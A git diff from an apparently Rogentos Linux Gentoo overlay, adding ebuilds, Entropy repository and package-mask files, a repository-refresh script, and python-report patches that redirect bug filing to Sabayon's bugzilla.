+EBUILD stability-watcher-0.1.ebuild 786 SHA256 261aae34a1409be87d2a6b620aed2df727fdf7c1c5db657c793cd15017d3e78d SHA512 30e1408164f5a9599de9fe8ee5927990282b98af669371b25ef08ae00890728eb214b313c5623c8b893c8031781e6d3b87a53992cc7c6b79492d89ba941e1347 WHIRLPOOL 21f7ad68b4ade50a47b9c1d868e88579358f27c4df75bea602fa98b72ff64be9eac52ee9212066f52d66e0adbdd1ec901745d227160c4612c8316b8663c301ab
diff --git a/app-admin/stability-watcher/files/07-rogentos-packages.mask b/app-admin/stability-watcher/files/07-rogentos-packages.mask
new file mode 100644
index 00000000..d546424d
--- /dev/null
+++ b/app-admin/stability-watcher/files/07-rogentos-packages.mask
@@ -0,0 +1,71 @@
+>=sys-apps/openrc-0.9@sabayon-limbo
+>=sys-apps/openrc-0.9@sabayonlinux.org
+>=sys-apps/openrc-0.9@sabayon-weekly
+
+>=app-misc/sabayonlive-tools-2.3@sabayon-limbo
+>=app-misc/sabayonlive-tools-2.3@sabayonlinux.org
+>=app-misc/sabayonlive-tools-2.3@sabayon-weekly
+
+>=app-misc/sabayon-skel-9@sabayon-limbo
+>=app-misc/sabayon-skel-9@sabayonlinux.org
+>=app-misc/sabayon-skel-9@sabayon-weekly
+
+>=sys-boot/grub-2.00@sabayon-limbo
+>=sys-boot/grub-2.00@sabayonlinux.org
+>=sys-boot/grub-2.00@sabayon-weekly
+
+>=kde-base/oxygen-icons-4.9.2@sabayon-weekly
+>=kde-base/oxygen-icons-4.9.2@sabayonlinux.org
+>=kde-base/oxygen-icons-4.9.2@sabayon-limbo
+
+>=x11-themes/gnome-colors-common-5.5.1@sabayon-weekly
+>=x11-themes/gnome-colors-common-5.5.1@sabayonlinux.org
+>=x11-themes/gnome-colors-common-5.5.1@sabayon-limbo
+
+>=x11-themes/tango-icon-theme-0.8.90@sabayon-weekly
+>=x11-themes/tango-icon-theme-0.8.90@sabayonlinux.org
+>=x11-themes/tango-icon-theme-0.8.90@sabayon-limbo
+
+>=x11-themes/elementary-icon-theme-2.7.1@sabayon-weekly
+>=x11-themes/elementary-icon-theme-2.7.1@sabayonlinux.org
+>=x11-themes/elementary-icon-theme-2.7.1@sabayon-limbo
+
+>=lxde-base/lxdm-0.4.1-r5@sabayon-weekly
+>=lxde-base/lxdm-0.4.1-r5@sabayonlinux.org
+>=lxde-base/lxdm-0.4.1-r5@sabayon-limbo
+
+>=sys-boot/grub-2.00@sabayon-limbo
+>=sys-boot/grub-2.00@sabayonlinux.org
+>=sys-boot/grub-2.00@sabayon-weekly
+
+>=kde-base/oxygen-icons-4.9.2@sabayon-weekly
+>=kde-base/oxygen-icons-4.9.2@sabayonlinux.org
+>=kde-base/oxygen-icons-4.9.2@sabayon-limbo
+
+>=x11-themes/gnome-colors-common-5.5.1@sabayon-weekly
+>=x11-themes/gnome-colors-common-5.5.1@sabayonlinux.org
+>=x11-themes/gnome-colors-common-5.5.1@sabayon-limbo
+
+>=x11-themes/tango-icon-theme-0.8.90@sabayon-weekly
+>=x11-themes/tango-icon-theme-0.8.90@sabayonlinux.org
+>=x11-themes/tango-icon-theme-0.8.90@sabayon-limbo
+
+>=x11-themes/elementary-icon-theme-2.7.1@sabayon-weekly
+>=x11-themes/elementary-icon-theme-2.7.1@sabayonlinux.org
+>=x11-themes/elementary-icon-theme-2.7.1@sabayon-limbo
+
+>=lxde-base/lxdm-0.4.1-r5@sabayon-weekly
+>=lxde-base/lxdm-0.4.1-r5@sabayonlinux.org
+>=lxde-base/lxdm-0.4.1-r5@sabayon-limbo
+
+>=sys-apps/gpu-detector-1@sabayon-weekly
+>=sys-apps/gpu-detector-1@sabayonlinux.org
+>=sys-apps/gpu-detector-1@sabayon-limbo
+
+>=app-admin/anaconda-0.1@sabayon-weekly
+>=app-admin/anaconda-0.1@sabayonlinux.org
+>=app-admin/anaconda-0.1@sabayon-limbo
+
+>=app-misc/anaconda-runtime-1.1-r1@sabayon-weekly
+>=app-misc/anaconda-runtime-1.1-r1@sabayonlinux.org
+>=app-misc/anaconda-runtime-1.1-r1@sabayon-limbo
diff --git a/app-admin/stability-watcher/files/entropy_sabayonlinux.org b/app-admin/stability-watcher/files/entropy_sabayonlinux.org
new file mode 100644
index 00000000..ee10eaad
--- /dev/null
+++ b/app-admin/stability-watcher/files/entropy_sabayonlinux.org
@@ -0,0 +1,3 @@
+repository|rogentoslinux|Rogentos Linux Official Repository|http://pkg.rogentos.ro/~rogentos/entropy/|http://pkg.rogentos.ro/~rogentos/entropy#bz2
+repository|rogentoslinux|Rogentos Linux Official Repository|http://pkg2.rogentos.ro/~noxis/entropy/|
+repository|rogentoslinux|Rogentos Linux Official Repository|http://pkg.rogentos.ro/~rogentos/entropy/|
diff --git a/app-admin/stability-watcher/stability-watcher-0.1.ebuild b/app-admin/stability-watcher/stability-watcher-0.1.ebuild
new file mode 100644
index 00000000..750ada13
--- /dev/null
+++ b/app-admin/stability-watcher/stability-watcher-0.1.ebuild
@@ -0,0 +1,32 @@
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+# $Header: $
+
+EAPI=4
+
+DESCRIPTION="Offical Rogentos Stability Watcher"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI=""
+
+LICENSE="GPL-v2"
+SLOT="0"
+KEYWORDS="~arm ~x86 ~amd64"
+IUSE=""
+RDEPEND="sys-apps/openrc"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+src_install() {
+ ewarn "This is available for only Entropy package manager" || die
+ insinto /etc/entropy/packages/package.mask.d/
+ doins "${FILESDIR}"/07-rogentos-packages.mask || die
+ #insinto /etc/entropy/repositories.conf.d/
+ #doins "${FILESDIR}"/entropy_sabayonlinux.org || die
+}
+
+pkg_postinst() {
+ einfo "Please report bugs or glitches to"
+ einfo "BlackNoxis"
+}
diff --git a/app-editors/liteide/liteide-9999.ebuild b/app-editors/liteide/liteide-9999.ebuild
index 934bf7bc..d9c52876 100644
--- a/app-editors/liteide/liteide-9999.ebuild
+++ b/app-editors/liteide/liteide-9999.ebuild
@@ -12,15 +12,11 @@ EGIT_REPO_URI="https://github.com/visualfc/liteide.git"
LICENSE="LGPL-2.1"
KEYWORDS=""
SLOT="0"
-IUSE="ordered"
+IUSE="ordered release"
DEPEND="dev-lang/go
dev-qt/qtgui
dev-qt/qtdbus
- dev-qt/qtwebkit
- dev-lang/go
- dev-qt/qtgui
- dev-qt/qtdbus
dev-qt/qtwebkit"
RDEPEND="${DEPEND}"
@@ -86,5 +82,7 @@ src_install() {
doins /usr/$(get_libdir)/qt4/libQtWebKit.so*
fperms u+x /opt/${PN}/bin/liteide
- fperms u+x /opt/${PN}/bin/go*
+ fperms u+x /opt/${PN}/bin/goapi
+ fperms u+x /opt/${PN}/bin/godocview
+ fperms u+x /opt/${PN}/bin/goexec
}
diff --git a/app-emulation/packettracer/Manifest b/app-emulation/packettracer/Manifest
new file mode 100644
index 00000000..ff160046
--- /dev/null
+++ b/app-emulation/packettracer/Manifest
@@ -0,0 +1,2 @@
+DIST PacketTracer533_Generic_Fedora.tar.gz 105596078 RMD160 4f38b8ffcc2da286664a902da85d22c9952e4268 SHA1 9f1c348feb86ec3419e0d9c6cd5327ff26197ad4 SHA256 63bc7c285d1dd34dbd2fb00537456097a238ffcd530f1282f78b225273a03fdf
+EBUILD packettracer-533.ebuild 2663 RMD160 11322bd76e11043a89afb1a831428bc58bbe9c2a SHA1 a00b86b060b950772ba2e171932de9767e80c9fd SHA256 b2894b3747e493bacf0389973c5959e8a0a7141519b3ea98324e0937b777f63a
diff --git a/app-emulation/packettracer/packettracer-533.ebuild b/app-emulation/packettracer/packettracer-533.ebuild
new file mode 100644
index 00000000..99064db2
--- /dev/null
+++ b/app-emulation/packettracer/packettracer-533.ebuild
@@ -0,0 +1,102 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+MY_PN="PacketTracer"
+MY_PT="${MY_PN}${PV}"
+
+inherit eutils fdo-mime multilib
+
+DESCRIPTION="Cisco's Packet Tracer"
+HOMEPAGE="https://www.cisco.com/web/learning/netacad/course_catalog/PacketTracer.html"
+SRC_URI="http://pkg.rogentos.ro/~rogentos/${CATEGORY}/${MY_PT}_Generic_Fedora.tar.gz"
+
+RESTRICT="fetch mirror strip"
+LICENSE="Cisco_EULA"
+
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="doc online-exam"
+
+DEPEND="app-arch/gzip"
+
+RDEPEND="doc? ( www-plugins/adobe-flash )
+ amd64? ( app-emulation/emul-linux-x86-compat
+ >=app-emulation/emul-linux-x86-qtlibs-20081109 )
+ !<app-emulation/packettracer-53"
+
+S="${WORKDIR}"
+
+pkg_setup () {
+ # This is a binary x86 package => ABI=x86
+ has_multilib_profile && ABI="x86"
+}
+
+pkg_nofetch () {
+ ewarn "To fetch sources you need cisco account which is available in case"
+ ewarn "you are cisco web-learning student, instructor or you sale cisco hardware, etc.. "
+ einfo ""
+ einfo ""
+ einfo "After that point your browser at http://cisco.netacad.net/"
+ einfo "Login, go to PacketTracer image and download:"
+ einfo "Packet Tracer v5.3.2 Application + Tutorial Generic Fedora links (tar.gz) file"
+ einfo ""
+}
+
+src_prepare(){
+
+ for file in install set_ptenv.sh tpl.linguist tpl.packettracer \
+ extensions/ptaplayer bin/linguist; do
+ rm -fr ${file} || die "unable to rm ${file}"
+ done
+ use !doc && rm -fr "${S}/"help/default/tutorials
+}
+
+src_install () {
+
+ local PKT_HOME="/opt/pt/"
+
+ dodir "${PKT_HOME}"
+ cp -R "${S}"/* "${D}${PKT_HOME}" || die "Install failed!"
+
+ doicon "${S}/${PN}-${PV}/art/"{app,pka,pkt,pkz}.{ico,png}
+
+ make_wrapper packettracer "./bin/PacketTracer5" "${PKT_HOME}${P}" "${PKT_HOME}${P}/lib"
+ make_desktop_entry "packettracer" "PacketTracer" "app" "Education;Emulator"
+
+ insinto /usr/share/mime/applications
+ doins "${D}${PKT_HOME}${P}/bin/"*.xml
+
+ rm -f "${D}${PKT_HOME}${MY_NAME}bin/"*.xml
+
+ dodir /etc/env.d
+ echo PT5HOME="${PKT_HOME}/${P}" > "${D}/etc/env.d/50${MY_PN}" || die "env.d files install failed"
+}
+
+pkg_postinst(){
+
+ fdo-mime_desktop_database_update
+ fdo-mime_mime_database_update
+
+ if use doc ; then
+ einfo " You have doc USE flag"
+ einfo " For use documentaion , please"
+ einfo " install you prefered brouser and flashplayer support"
+ einfo " such mozilla or konqerror"
+ fi
+
+ einfo ""
+ einfo " If you have multiuser enviroment"
+ einfo " you mist configure you firewall to use UPnP protocol."
+ einfo " Additional information see in packettracer user manual "
+
+}
+
+pkg_postrm() {
+
+ fdo-mime_desktop_database_update
+ fdo-mime_mime_database_update
+
+}
diff --git a/app-emulation/playonlinux/playonlinux-4.2.5.ebuild b/app-emulation/playonlinux/playonlinux-4.2.5.ebuild
new file mode 100644
index 00000000..abb687f7
--- /dev/null
+++ b/app-emulation/playonlinux/playonlinux-4.2.5.ebuild
@@ -0,0 +1,133 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-emulation/playonlinux/playonlinux-4.1.1.ebuild,v 1.1 2012/06/16 19:12:24 pacho Exp $
+
+EAPI="4"
+PYTHON_DEPEND="2"
+
+inherit eutils python games
+
+MY_PN="PlayOnLinux"
+
+DESCRIPTION="Set of scripts to easily install and use Windows games and software"
+HOMEPAGE="http://playonlinux.com/"
+SRC_URI="http://www.playonlinux.com/script_files/${MY_PN}/${PV}/${MY_PN}_${PV}.tar.gz"
+
+LICENSE="GPL-3"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="winbind"
+
+DEPEND=""
+RDEPEND="app-emulation/wine
+ app-arch/cabextract
+ app-arch/p7zip
+ app-arch/unzip
+ app-crypt/gnupg
+ net-analyzer/netcat6
+ dev-python/wxpython:2.8
+ || ( media-gfx/imagemagick media-gfx/graphicsmagick[imagemagick] )
+ net-misc/wget
+ x11-apps/mesa-progs
+ x11-terms/xterm
+ media-gfx/icoutils
+ winbind? ( net-fs/samba[winbind] ) "
+
+S=${WORKDIR}/${PN}
+
+# TODO:
+# Having a real install script and let playonlinux use standard filesystem
+# architecture to prevent having everything installed into GAMES_DATADIR
+# It will let using LANGUAGES easily
+# How to deal with Microsoft Fonts installation asked every time ?
+# How to deal with wine version installed ? (have a better mgmt of system one)
+# Look at debian pkg: http://packages.debian.org/sid/playonlinux
+
+pkg_setup() {
+ python_set_active_version 2
+ python_pkg_setup
+ games_pkg_setup
+}
+
+src_prepare() {
+ sed -i -e "s/\(Categories=\).*/\1Game;Emulator;/" etc/PlayOnLinux.desktop \
+ || die
+ sed -e 's/PYTHON="python"/PYTHON="python2"/' -i lib/variables playonlinux || die
+ python_convert_shebangs -r 2 .
+}
+
+src_install() {
+ # all things without exec permissions
+ insinto "${GAMES_DATADIR}/${PN}"
+ doins -r resources lang lib etc plugins
+
+ # bash/ install
+ exeinto "${GAMES_DATADIR}/${PN}/bash"
+ doexe bash/*
+ #exeinto "${GAMES_DATADIR}/${PN}/bash/terminals"
+ #doexe bash/terminals/*
+ exeinto "${GAMES_DATADIR}/${PN}/bash/expert"
+ doexe bash/expert/*
+
+ # python/ install
+ exeinto "${GAMES_DATADIR}/${PN}/python"
+ doexe python/*
+ # sub dir without exec permissions
+ insinto "${GAMES_DATADIR}/${PN}/python"
+ doins -r python/lib
+
+ # main executable files
+ exeinto "${GAMES_DATADIR}/${PN}"
+ doexe ${PN}{,-pkg,-bash,-shell,-url_handler}
+
+ # making a script to run playonlinux from ${GAMES_BINDIR}
+ echo "#!/bin/bash" > ${PN}_launcher
+ echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN} \$*" >> ${PN}_launcher
+ newgamesbin playonlinux_launcher playonlinux
+
+ # making a script to run playonlinux-cmd from ${GAMES_BINDIR}
+ echo "#!/bin/bash" > ${PN}_cmd_launcher
+ echo "cd \"${GAMES_DATADIR}/${PN}\" && ./${PN}-cmd \$*" >> ${PN}_cmd_launcher
+ newgamesbin playonlinux_cmd_launcher playonlinux-cmd
+
+ #dodoc CHANGELOG
+
+ doicon etc/${PN}.png
+ domenu etc/${MY_PN}.desktop
+ prepgamesdirs
+
+ if [ -f "/usr/bin/python2.6" ]; then
+ addwrite /usr/local/bin/
+ if [ ! -f "/usr/local/bin/python2.6" ]; then
+ dosym /usr/bin/python2.6 /usr/local/bin/ || die
+ else
+ echo "The file already existed"
+ rm /usr/local/bin/python2.6 || die
+ dosym /usr/bin/python2.6 /usr/local/bin/ || die
+ echo "Replaced it"
+ fi
+ if [ ! -f "/usr/local/bin/python2.6-config" ]; then
+ dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die
+ else
+ echo "The file already existed"
+ rm /usr/local/bin/python2.6-config || die
+ dosym /usr/bin/python-config-2.6 /usr/local/bin/python2.6-config || die
+ echo "Replaced it"
+ fi
+ else
+ ewarn "There is no python2.6, you should emerge python2.6"
+ fi
+}
+
+pkg_postinst() {
+ games_pkg_postinst
+ python_mod_optimize "${GAMES_DATADIR}/${PN}"
+}
+
+pkg_postrm() {
+ python_mod_cleanup "${GAMES_DATADIR}/${PN}"
+
+ elog "Installed softwares and games with playonlinux have not been removed."
+ elog "To remove them, you can re-install playonlinux and remove them using it"
+ elog "or do it manually by removing .PlayOnLinux/ in your home directory."
+}
diff --git a/app-misc/rogentos-reposi/files/entropy_frozen b/app-misc/rogentos-reposi/files/entropy_frozen
new file mode 100644
index 00000000..d9154ee2
--- /dev/null
+++ b/app-misc/rogentos-reposi/files/entropy_frozen
@@ -0,0 +1,5 @@
+[frozen]
+desc = Sabayon Frozen 13.11 Community Repository
+repo = http://www.ols18.com/danysk/frozen/13.11#bz2
+enabled = true
+pkg = http://www.ols18.com/danysk/frozen/13.11
diff --git a/app-misc/rogentos-reposi/files/entropy_rogentoslinux b/app-misc/rogentos-reposi/files/entropy_rogentoslinux
new file mode 100644
index 00000000..4b6172d8
--- /dev/null
+++ b/app-misc/rogentos-reposi/files/entropy_rogentoslinux
@@ -0,0 +1,12 @@
+# Repository configuration file automatically generated
+# by Entropy on your behalf.
+
+[rogentoslinux]
+desc = Rogentos Linux Official Repository
+repo = http://pkg.rogentos.ro/~rogentos/entropy#bz2
+enabled = true
+pkg = http://bpr.bluepink.ro/~rogentos/entropy/
+pkg = http://pkg2.rogentos.ro/~noxis/entropy/
+pkg = http://pkg.rogentos.ro/~rogentos/entropy/
+pkg = http://pkg3.rogentos.ro/~noxis/entropy/
+
diff --git a/app-misc/rogentos-reposi/files/entropy_sabayon-weekly b/app-misc/rogentos-reposi/files/entropy_sabayon-weekly
new file mode 100644
index 00000000..827b8261
--- /dev/null
+++ b/app-misc/rogentos-reposi/files/entropy_sabayon-weekly
@@ -0,0 +1,13 @@
+# Repository configuration file automatically generated
+# by Entropy on your behalf.
+
+[sabayon-weekly]
+desc = Sabayon Linux Official Repository
+repo = http://pkg.sabayon.org#bz2
+enabled = true
+pkg = http://best.sabayon.org/entropy
+pkg = http://dl.sabayon.org/entropy
+pkg = http://redir.sabayon.org/entropy
+pkg = http://na.mirror.garr.it/mirrors/sabayonlinux/entropy
+pkg = http://pkg.sabayon.org
+
diff --git a/app-misc/rogentos-reposi/files/entropy_server b/app-misc/rogentos-reposi/files/entropy_server
new file mode 100644
index 00000000..c2e77713
--- /dev/null
+++ b/app-misc/rogentos-reposi/files/entropy_server
@@ -0,0 +1,62 @@
+# Entropy Server now supports repositories defined inside
+# /etc/entropy/repositories.conf.d/ files, written using the
+# syntax detailed below. This improves the ability to enable, disable,
+# add and remove repositories programmatically. Furthermore, it
+# makes possible to extend the supported parameters without breaking
+# backward compatibility.
+#
+# In order to differentiate Entropy Client repository definitions between
+# Entropy Server ones, each repository section must start with "[server=".
+#
+# This is an example of the syntax (with a complete listing
+# of the supported arguments):
+#
+# [server=sabayon-limbo]
+# desc = Sabayon Linux Official Testing Repository
+# repo = ssh://username@full.host:~username/sabayon-limbo
+# enabled = <true/false>
+#
+# [server=sabayon-limbo]
+# desc = This statement will be ignored.
+# repo-only = ssh://username@repo.host:~username/sabayon-limbo
+# pkg-only = ssh://username@pkg.host:~username/sabayon-limbo
+#
+# [server=sabayon-base]
+# desc = This is the base repository.
+# repo-only = ssh://username@repo.host:~username/sabayon-base
+# pkg-only = ssh://username@pkg.host:~username/sabayon-base
+# base = <true/false>
+#
+# As you can see, multiple statements for the same repository
+# are allowed. However, only the first desc = statement will be
+# considered, while there can be as many {pkg,repo}* = as you want.
+#
+# The repository order is important, but this is guaranteed by the
+# fact that configuration files are parsed in lexical order.
+#
+# Statements description:
+# - "desc": stands for description, the repository name description.
+# - "repo": the push & pull URI, for both packages and repository database.
+# - "repo-only": same as repo, but only for the repository database
+# push & pull.
+# - "pkg-only": same as repo, but only for the packages push & pull.
+# The supported protocols are those supported by entropy.fetchers.
+# - "enabled": if set, its value can be either "true" or "false". The default
+# value is "true". It indicates if a repository is configured
+# but currently disabled or enabled. Please take into account
+# that config files in /etc/entropy/repositories.conf.d/ starting
+# with "_" are considered to contain disabled repositories. This
+# is just provided for convienence.
+# - "base": if set, its value can be either "true" or "false". The default
+# value is "false". If no repository has the flag set, the first
+# listed repository will be the base one.
+# - "exclude-qa": if set, its value can be either "true" or "false". The default
+# value is "false". If "true", the repository is excluded from
+# QA checks.
+
+# [server=<example repository>]
+# desc = Entropy Server Example Repository
+# repo = ssh://user@localhost:~user/repository-name
+# repo-only = ssh://user@localhost:~user/repository-only-name
+# pkg-only = ssh://user@localhost:~user/package-only-name
+# enabled = true
diff --git a/app-misc/rogentos-reposi/files/reupdate b/app-misc/rogentos-reposi/files/reupdate
new file mode 100755
index 00000000..390a0469
--- /dev/null
+++ b/app-misc/rogentos-reposi/files/reupdate
@@ -0,0 +1,8 @@
+#!/bin/bash
+
+rm /etc/entropy/repositories.conf.d/README
+for i in $(ls /etc/entropy/repositories.conf.d/ | cut -d '.' -f 1 | sort -u | cut -d "_" -f 2); do
+ equo repo mirrorsort $i
+done
+
+equo update
diff --git a/app-misc/rogentos-reposi/rogentos-reposi-1.0.ebuild b/app-misc/rogentos-reposi/rogentos-reposi-1.0.ebuild
new file mode 100644
index 00000000..19d9f218
--- /dev/null
+++ b/app-misc/rogentos-reposi/rogentos-reposi-1.0.ebuild
@@ -0,0 +1,35 @@
+# Copyright 2012 Rogentos Linux
+# Distributed under the terms of the GNU General Public License v2
+# Maintainer BlackNoxis <stefan.cristian at rogentos.ro>
+# $Header: $
+
+EAPI=5
+
+DESCRIPTION="Offical Rogentos Stability Watcher"
+HOMEPAGE="http://www.rogentos.ro"
+SRC_URI=""
+
+LICENSE="GPL-v2"
+SLOT="0"
+KEYWORDS="~x86 ~amd64"
+IUSE=""
+RDEPEND="app-admin/equo
+ !app-misc/sabayon-version"
+DEPEND="${RDEPEND}"
+
+S="${WORKDIR}"
+
+src_install() {
+ ewarn "This is available for only Entropy package manager" || die
+ insinto /etc/entropy/repositories.conf.d/
+ doins "${FILESDIR}"/entropy* || die
+ insinto /opt/reupdate/
+ doins "${FILESDIR}"/reupdate
+ fperms u+x /opt/reupdate/reupdate
+ dosym /opt/reupdate/reupdate /usr/bin/reupdate
+}
+
+pkg_postinst() {
+ einfo "Please report bugs or glitches to"
+ einfo "stefan.cristian [aaron] rogentos.ro"
+}
diff --git a/app-misc/rogentos-version/rogentos-version-1.1.ebuild b/app-misc/rogentos-version/rogentos-version-1.1.ebuild
new file mode 100644
index 00000000..49bda9f2
--- /dev/null
+++ b/app-misc/rogentos-version/rogentos-version-1.1.ebuild
@@ -0,0 +1,75 @@
+# Copyright 2004-2011 Sabayon Linux
+# Copyright 2014 Kogaion Linux
+# Original Authors Sabayon Team
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit multilib
+
+DESCRIPTION="Rogentos System Release virtual package"
+HOMEPAGE="http://rogentos.ro/"
+SRC_URI=""
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~arm ~x86"
+
+IUSE=""
+DEPEND=""
+GCC_VER="4.7"
+PYTHON_VER="2.7"
+# Listing default packages for the current release
+RDEPEND="app-admin/eselect-python
+ dev-lang/python:${PYTHON_VER}
+ sys-apps/systemd
+ !sys-apps/hal
+ !sys-auth/consolekit
+ sys-devel/base-gcc:${GCC_VER}
+ sys-devel/gcc-config"
+
+src_unpack () {
+ echo "Kogaion Linux ${ARCH} ${PV}" > "${T}/rogentos-release"
+ mkdir -p "${S}" || die
+}
+
+src_install () {
+ insinto /etc
+ doins "${T}"/rogentos-release
+ dosym /etc/rogentos-release /etc/system-release
+ # Bug 3459 - reduce the risk of fork bombs
+ insinto /etc/security/limits.d
+ doins "${FILESDIR}/00-sabayon-anti-fork-bomb.conf"
+}
+
+pkg_postinst() {
+ # Setup Python ${PYTHON_VER}
+ eselect python set python${PYTHON_VER}
+ # No need to set the GCC profile here, since it's done in base-gcc
+
+ # Improve systemd support
+ if [[ ! -L /etc/mtab ]] && [[ -e /proc/self/mounts ]]; then
+ rm -f /etc/mtab
+ einfo "Migrating /etc/mtab to a /proc/self/mounts symlink"
+ ln -sf /proc/self/mounts /etc/mtab
+ fi
+
+ # force kdm back to the default runlevel if added to boot
+ # this is in preparation for the logind migration
+ local xdm_conf="${ROOT}/etc/conf.d/xdm"
+ local xdm_boot_runlevel="${ROOT}/etc/runlevels/boot/xdm"
+ local xdm_default_runlevel="${ROOT}/etc/runlevels/default/xdm"
+ if [ -e "${xdm_conf}" ] && [ -e "${xdm_boot_runlevel}" ]; then
+ DISPLAYMANAGER=""
+ . "${xdm_conf}"
+ if [ "${DISPLAYMANAGER}" = "kdm" ]; then
+ elog "Moving xdm (kdm) from boot runlevel to default"
+ elog "or logind will not work as expected"
+ mv -f "${xdm_boot_runlevel}" "${xdm_default_runlevel}"
+ fi
+ fi
+
+ # remove old hal udev rules.d file, if found. sys-apps/hal is long gone.
+ rm -f "${ROOT}/lib/udev/rules.d/90-hal.rules"
+}
diff --git a/app-misc/serverconf-test/serverconf-test-1.ebuild b/app-misc/serverconf-test/serverconf-test-1.ebuild
new file mode 100644
index 00000000..eec4b6d2
--- /dev/null
+++ b/app-misc/serverconf-test/serverconf-test-1.ebuild
@@ -0,0 +1,33 @@
+# Copyright 2004-2013 RogentOS
+# Distributed under the terms of the GNU General Public License v2
+
+EAPI=5
+
+EGIT_REPO_URI="git://github.com/Rogentos/rogentos-live.git"
+EGIT_BRANCH="serverconf-test"
+
+inherit eutils systemd git-2
+
+DESCRIPTION="Rogentos live image scripts and tools"
+HOMEPAGE="http://www.rogentos.ro"
+
+SLOT="0"
+LICENSE="GPL-2"
+KEYWORDS="amd64 arm x86"
+IUSE=""
+
+DEPEND=""
+RDEPEND="!app-misc/livecd-tools
+ app-admin/eselect-opengl
+ dev-util/dialog
+ sys-apps/gawk
+ sys-apps/pciutils
+ sys-apps/keyboard-configuration-helpers
+ sys-apps/sed"
+
+src_install() {
+ emake DESTDIR="${D}" SYSV_INITDIR="/etc/init.d" \
+ SYSTEMD_UNITDIR="$(systemd_get_unitdir)" \
+ install || die
+ ls -la "${WORKDIR}"/"${PN}"-"${PV}"
+}
diff --git a/dev-python/python-report/files/bugs.sabayon.org.ini b/dev-python/python-report/files/bugs.sabayon.org.ini
new file mode 100644
index 00000000..9fa29826
--- /dev/null
+++ b/dev-python/python-report/files/bugs.sabayon.org.ini
@@ -0,0 +1,9 @@
+[bugs.sabayon.org]
+# template
+template=bugzilla-template
+
+# rhbz url
+bugzilla_host=bugs.sabayon.org
+
+# rhbz login, a password is always asked.
+# username=user@example.com
diff --git a/dev-python/python-report/files/python-report-0.10-disable-rpm.patch b/dev-python/python-report/files/python-report-0.10-disable-rpm.patch
new file mode 100644
index 00000000..501bb703
--- /dev/null
+++ b/dev-python/python-report/files/python-report-0.10-disable-rpm.patch
@@ -0,0 +1,20 @@
+diff -Nurp python-report-0.10.orig/python/report/templates/bugzilla-template/__init__.py python-report-0.10/python/report/templates/bugzilla-template/__init__.py
+--- python-report-0.10.orig/python/report/templates/bugzilla-template/__init__.py 2010-04-02 19:32:19.729109477 +0200
++++ python-report-0.10/python/report/templates/bugzilla-template/__init__.py 2010-04-02 19:32:54.640917830 +0200
+@@ -106,7 +106,6 @@ import filer
+ def sendToBugzilla(component, signature, io, bzfiler,
+ optionsDict, fileName, fileDescription):
+
+- import rpmUtils.arch
+
+ class BugzillaCommunicationException (Exception):
+ pass
+@@ -204,7 +203,7 @@ def sendToBugzilla(component, signature,
+ bug = withBugzillaDo(bzfiler, lambda b: b.createbug(product=bzfiler.getproduct(),
+ component=component,
+ version=bzfiler.getversion(),
+- platform=rpmUtils.arch.getBaseArch(),
++ # platform=rpmUtils.arch.getBaseArch(),
+ bug_severity="medium",
+ priority="medium",
+ op_sys="Linux",
diff --git a/dev-python/python-report/files/python-report-0.10-fix-version-detection.patch b/dev-python/python-report/files/python-report-0.10-fix-version-detection.patch
new file mode 100644
index 00000000..d8f9b955
--- /dev/null
+++ b/dev-python/python-report/files/python-report-0.10-fix-version-detection.patch
@@ -0,0 +1,22 @@
+diff -Nurp python-report-0.10.orig//python/report/templates/bugzilla-template/filer.py python-report-0.10/python/report/templates/bugzilla-template/filer.py
+--- python-report-0.10.orig//python/report/templates/bugzilla-template/filer.py 2010-04-13 23:08:08.849090647 +0200
++++ python-report-0.10/python/report/templates/bugzilla-template/filer.py 2010-04-13 23:09:20.799052132 +0200
+@@ -61,15 +61,11 @@ def getVersion():
+ if os.path.exists(SYSTEM_VERSION_PATH):
+ file = open(SYSTEM_VERSION_PATH, "r")
+ content = file.read()
+- if content.find("Rawhide") > -1:
+- return "rawhide"
+-
+- clist = content.split(" ")
+- i = clist.index("release")
+- return clist[i+1]
++ file.close()
++ return content.strip().split()[-1]
+ else:
+ # default to rawhide
+- return "rawhide"
++ return "unknown"
+
+ class LoginError(Exception):
+ """An error occurred while logging into the bug reporting system."""
diff --git a/dev-python/python-report/files/python-report-0.10-sabayon-defaults.patch b/dev-python/python-report/files/python-report-0.10-sabayon-defaults.patch
new file mode 100644
index 00000000..4af6ec65
--- /dev/null
+++ b/dev-python/python-report/files/python-report-0.10-sabayon-defaults.patch
@@ -0,0 +1,54 @@
+diff -Nurp python-report-0.10.orig/python/report/templates/bugzilla-template/__init__.py python-report-0.10/python/report/templates/bugzilla-template/__init__.py
+--- python-report-0.10.orig/python/report/templates/bugzilla-template/__init__.py 2010-04-02 18:46:19.862030189 +0200
++++ python-report-0.10/python/report/templates/bugzilla-template/__init__.py 2010-04-02 18:56:47.102924468 +0200
+@@ -55,10 +55,10 @@ def displayURL(optionsDict):
+ def bugURL(optionsDict):
+ if 'bugURL' in optionsDict:
+ return optionsDict["bugURL"]
+- host = "bugzilla.redhat.com"
++ host = "bugs.sabayon.org"
+ if 'bugzilla_host' in optionsDict:
+ host = optionsDict["bugzilla_host"]
+- return "https://" + host + "/xmlrpc.cgi"
++ return "http://" + host + "/xmlrpc.cgi"
+
+ def report(signature, io, optionsDict):
+ if not io:
+@@ -130,8 +130,8 @@ def sendToBugzilla(component, signature,
+
+ try:
+ if not bzfiler:
+- bzfiler = filer.BugzillaFiler("https://bugzilla.redhat.com/xmlrpc.cgi",
+- "http://bugzilla.redhat.com",
++ bzfiler = filer.BugzillaFiler("http://bugs.sabayon.org/xmlrpc.cgi",
++ "http://bugs.sabayon.org",
+ filer.getVersion(), filer.getProduct())
+
